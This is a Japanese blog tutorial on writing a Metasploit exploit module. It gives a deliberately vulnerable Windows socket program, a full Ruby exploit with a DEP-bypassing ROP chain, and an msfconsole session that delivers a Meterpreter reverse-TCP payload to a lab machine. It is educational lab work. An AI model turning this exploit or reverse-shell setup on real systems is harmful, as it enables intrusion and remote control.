Metasploitのexploitモジュールを書いてみる

Metasploit Frameworkは、エクスプロイトコード実行をはじめとした種々のタスクを統一されたインタフェースで扱うための統合環境(フレームワーク)である。 ここでは、スタックバッファオーバーフロー脆弱性のあるプログラムを用意し、これに対するexploitモジュールを書いてみる。 さらに、このモジュールを使って攻撃を実行してみる。

環境

Windows 8.1 Pro 64 bit版、Visual Studio Community 2013 with Update 4、msvcr71.dllインストール済

>systeminfo
OS 名:                  Microsoft Windows 8.1 Pro
OS バージョン:          6.3.9600 N/A ビルド 9600
OS ビルドの種類:        Multiprocessor Free
システムの種類:         x64-based PC
プロセッサ:             1 プロセッサインストール済みです。
                        [01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~758 Mhz

>cl
Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86

>powershell -c "(dir C:\Windows\SysWOW64\msvcr71.dll).VersionInfo.FileVersion"
7.10.3052.4

Kali Linux 1.1.0a 64 bit版、Metasploit Framework 4.11.3

root@vm-kali64:~# uname -a
Linux vm-kali64 3.18.0-kali3-amd64 #1 SMP Debian 3.18.6-1~kali2 (2015-03-02) x86_64 GNU/Linux

root@vm-kali64:~# lsb_release -a
No LSB modules are available.
Distributor ID: Kali
Description:    Kali GNU/Linux 1.1.0
Release:        1.1.0
Codename:       moto

root@vm-kali64:~# msfconsole -v
Framework Version: 4.11.3-2015063001

脆弱性のあるプログラムを書いてみる

脆弱性のあるプログラムおよびエクスプロイトコードは、「Windowsでnon-ASLR DLLを利用したROPによるDEP回避をやってみる」と同じものを用いることにする。

/* bof.c */
#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")

void bof(SOCKET c)
{
    char buf[400];
    printf("[+] buf = %p\n", buf);
    recv(c, buf, 1024, 0);
}

int main()
{
    WSADATA wsaData;
    SOCKET s, c;
    SOCKADDR_IN name;
    BOOL yes = 1;

    WSAStartup(MAKEWORD(2, 2), &wsaData);

    s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);
    setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (const char *)&yes, sizeof(yes));

    name.sin_family = AF_INET;
    name.sin_addr.s_addr = INADDR_ANY;
    name.sin_port = htons(4444);

    bind(s, (SOCKADDR *)&name, sizeof(name));
    listen(s, 5);
    puts("[+] listening on 0.0.0.0 port 4444");

    c = accept(s, NULL, NULL);
    closesocket(s);
    puts("[+] connection accepted");

    bof(c);

    closesocket(c);

    ExitProcess(0);
}

コンパイルし、実行ファイルを生成する。

>cl bof.c /GS- /link /dynamicbase:no

Metasploitモジュールを書いてみる

Metasploitモジュールは、エクスプロイトを行うexploitモジュール、シェルコードを生成するpayload/encoder/nopsモジュール、ネットワークに対する攻撃やスキャンなどを行うauxiliaryモジュールのようにタイプに応じた分類がされている。 また、exploitモジュールではpayload/encoder/nopsモジュールが生成するシェルコードを実行させることが前提とされている(参考)。

下記のドキュメントを参考に、exploitモジュールを書いてみると次のようになる。 Metasploit本体がRubyによって書かれているため、モジュールもRubyで書くことになる。

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Example bof.exe Stack-based Buffer OverFlow',
      'Description'    => %q{
        Just an example of Metasploit module for bof.exe (sha1sum 0099227bdf04eced42c28bb94cdb9c88ae1d0ada). Requires msvcr71.dll (version 7.10.3052.4).
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'inaz2' ],
      'References'     =>
        [
          [ 'URL', 'http://inaz2.hatenablog.com/entry/2015/07/11/211409' ]
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows 8.1 Pro Japanese', { 'Buffer' => 0x0018FBF0 } ]
        ],
      'Payload'        =>
        {
        },
      'Privileged'     => false,
      'DisclosureDate' => 'Jul 11 2015',
      'DefaultTarget'  => 0))
  end

  def exploit
    connect

    offset = 404
    libname = "M\x00S\x00V\x00C\x00R\x007\x001\x00\x00\x00"
    junk = 'A' * (offset-libname.length)

    rop_payload = [
      0x004011e2,                     # pop ecx; ret
      0x0040d0cc,                     # LoadLibraryExW in IAT
      0x004056c1,                     # jmp [ecx];
      0x00401038,                     # ret;
      target['Buffer'],               # lpFileName
      0,                              # hFile
      0,                              # dwFlags
      0x004011e2,                     # pop ecx; ret
      0x7c37a140,                     # VirtualProtect in IAT [MSVCR71.dll]
      0x004056c1,                     # jmp [ecx];
      target['Buffer']+offset+4*15,
      target['Buffer'],               # lpAddress
      1024,                           # dwSize
      0x40,                           # flNewProtect = PAGE_EXECUTE_READWRITE
      target['Buffer'],               # lpflOldProtect
    ].pack('V*')

    sploit = libname + junk + rop_payload + payload.encoded
    sock.put(sploit)

    handler
    disconnect
  end

end

ソケット通信を行うには、Msf::Exploit::Remote::TcpクラスをMixinする。 上のコードにおいて、payload.encodedには使用時に指定されたpayload/encoderモジュールが生成するシェルコードが入り、handlerメソッドの呼び出しによりシェルコードに対応するハンドラがconnect-back接続の待ち受けなどを行う。 TargetsにはOSやアプリケーションのバージョンごとに異なるメモリアドレス、定数などを書き、複数定義した場合は使用時に切り替えることが可能となる。

ユーザが作成したモジュールは~/.msf4/modules/に配置する。 ここでは、/usr/share/metasploit-framework/modules/にある標準のディレクトリ構成にならい、~/.msf4/modules/exploits/windows/misc/example_bof.rbに上のモジュールを置くことにする。

Metasploitモジュールを使ってみる

作成したexploitモジュールを使って攻撃を行ってみる。 まず、ターゲットとなるマシンで脆弱性のあるプログラムを起動する。

>bof.exe
[+] listening on 0.0.0.0 port 4444

次に、攻撃側のマシンでMetasploitを起動し、モジュールの検索および概要の表示を行ってみる。 ここでは、payloadモジュールとしてwindows/meterpreter/reverse_tcpを使用し、Meterpreterコンソールの起動を試みることとする。

root@vm-kali64:~# msfconsole -q
msf > search bof.exe
[!] Database not connected or cache not built, using slow search

Matching Modules
================

   Name                              Disclosure Date  Rank    Description
   ----                              ---------------  ----    -----------
   exploit/windows/misc/example_bof  2015-07-11       normal  Example bof.exe Stack-based Buffer OverFlow


msf > info exploit/windows/misc/example_bof

       Name: Example bof.exe Stack-based Buffer OverFlow
     Module: exploit/windows/misc/example_bof
   Platform: Windows
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2015-07-11

Provided by:
  inaz2

Available targets:
  Id  Name
  --  ----
  0   Windows 8.1 Pro Japanese

Basic options:
  Name   Current Setting  Required  Description
  ----   ---------------  --------  -----------
  RHOST                   yes       The target address
  RPORT                   yes       The target port

Payload information:

Description:
  Just an example of Metasploit module for bof.exe (sha1sum
  0099227bdf04eced42c28bb94cdb9c88ae1d0ada). Requires msvcr71.dll
  (version 7.10.3052.4).

References:
  http://inaz2.hatenablog.com/entry/2015/07/11/211409

msf > info payload/windows/meterpreter/reverse_tcp

       Name: Windows Meterpreter (Reflective Injection), Reverse TCP Stager
     Module: payload/windows/meterpreter/reverse_tcp
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 281
       Rank: Normal

Provided by:
  skape <mmiller@hick.org>
  sf <stephen_fewer@harmonysecurity.com>
  OJ Reeves
  hdm <hdm@metasploit.com>

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique (Accepted: , , seh, thread, process, none)
LHOST                      yes       The listen address
LPORT     4444             yes       The listen port

Description:
  Inject the meterpreter server DLL via the Reflective Dll Injection
  payload (staged). Connect back to the attacker

使用するexploitモジュール、payloadモジュールを選択し、それぞれのオプションを指定する。 オプションの詳細はshow optionsで確認することができる。

msf > use exploit/windows/misc/example_bof
msf exploit(example_bof) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(example_bof) > show options

Module options (exploit/windows/misc/example_bof):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT                   yes       The target port


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: , , seh, thread, process, none)
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows 8.1 Pro Japanese


msf exploit(example_bof) > set RHOST 192.168.56.1
RHOST => 192.168.56.1
msf exploit(example_bof) > set RPORT 4444
RPORT => 4444
msf exploit(example_bof) > set LHOST 192.168.56.4
LHOST => 192.168.56.4
msf exploit(example_bof) > set LPORT 8888
LPORT => 8888
msf exploit(example_bof) > show options

Module options (exploit/windows/misc/example_bof):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  192.168.56.1     yes       The target address
   RPORT  4444             yes       The target port


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: , , seh, thread, process, none)
   LHOST     192.168.56.4     yes       The listen address
   LPORT     8888             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows 8.1 Pro Japanese

exploitコマンドでターゲットマシンへの攻撃を実行する。

msf exploit(example_bof) > exploit

[*] Started reverse handler on 192.168.56.4:8888
[*] Sending stage (884270 bytes) to 192.168.56.1
[*] Meterpreter session 1 opened (192.168.56.4:8888 -> 192.168.56.1:61706) at 2015-07-14 00:03:37 +0900

meterpreter > getuid
Server username: target-win8\user

攻撃の成功によりMeterpreterコンソールが起動し、ターゲットマシンの情報が取得できていることが確認できる。

最後に、MeterpreterコンソールおよびMetasploitを終了する。

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.56.1 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(example_bof) > exit

関連リンク